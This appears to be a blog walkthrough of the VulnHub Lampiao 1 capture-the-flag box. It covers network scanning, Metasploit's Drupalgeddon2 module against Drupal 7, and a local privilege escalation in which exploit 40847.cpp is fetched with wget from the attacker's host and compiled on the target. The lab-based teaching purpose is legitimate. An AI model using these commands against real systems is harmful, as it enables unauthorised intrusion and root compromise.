lampiao 1

Lampiao 1 VulnHub Walkthrough

Introduction ????????

In this post, You will learn how to CTF the Lampiao 1 box from vulnhub and below is the video format of the post, Check it out ????????

To download Lampiao 1 [Click here]

Video ????

Hacking Phases in Lampio

  • Finding Target IP
  • Nmap Scan
  • Enumeration
  • Exploit (msfconsole)
  • Privesc
  • Root

Let’s start

Hey you ❤️ Please check out my other posts, You will be amazed and support me by following on youtube.

Finding Target IP

To find the target IP lets use the below command or you can go with the net discover command.

sudo arp-scan -l

In my case the target IP is


I have done a full port scan and OS and service scan.

We can see there are three ports open they are port 22, 80 and 1898 and the 1898 runs drupal.

So, let’s view the port 1898 in site.

So, It’s powered by drupal and its version is 7. We came to know the version when we have run the nmap scan.

So I though of exploiting it by using exploit drupal_drupalgeddon2.


So, let’s exploit the target using msfconsole.

use unix/webapp/drupal_drupalgeddon2
set rhost
set rport 1898
lampiao 1

We have got the access ????

python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a

Checking the latest release of the OS.

lampiao 1


We have finally found the exploit that we were looking for and we have downloaded it on our machine.

Download the exploit

lampiao 1

Now let’s upload the exploit to the target machine. Let’s start the python server.

python -m http.server 80
wget http://kali IP/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
lampiao 1
lampiao 1

Finally got the flag ❤️


In my opinion I would rate 1.5 out of 10 and it’s really a great box. You can learn some privilege escalation stuff. See you in the next post guys ❤️

Ads Blocker Image Powered by Code Help Pro

Ads Blocker Detected!!!

We have detected that you are using extensions or brave browser to block ads. Please support us by disabling these ads blocker.Our website is made possible by displaying Ads hope you whitelist our site. We use very minimal Ads in our site


Scroll to Top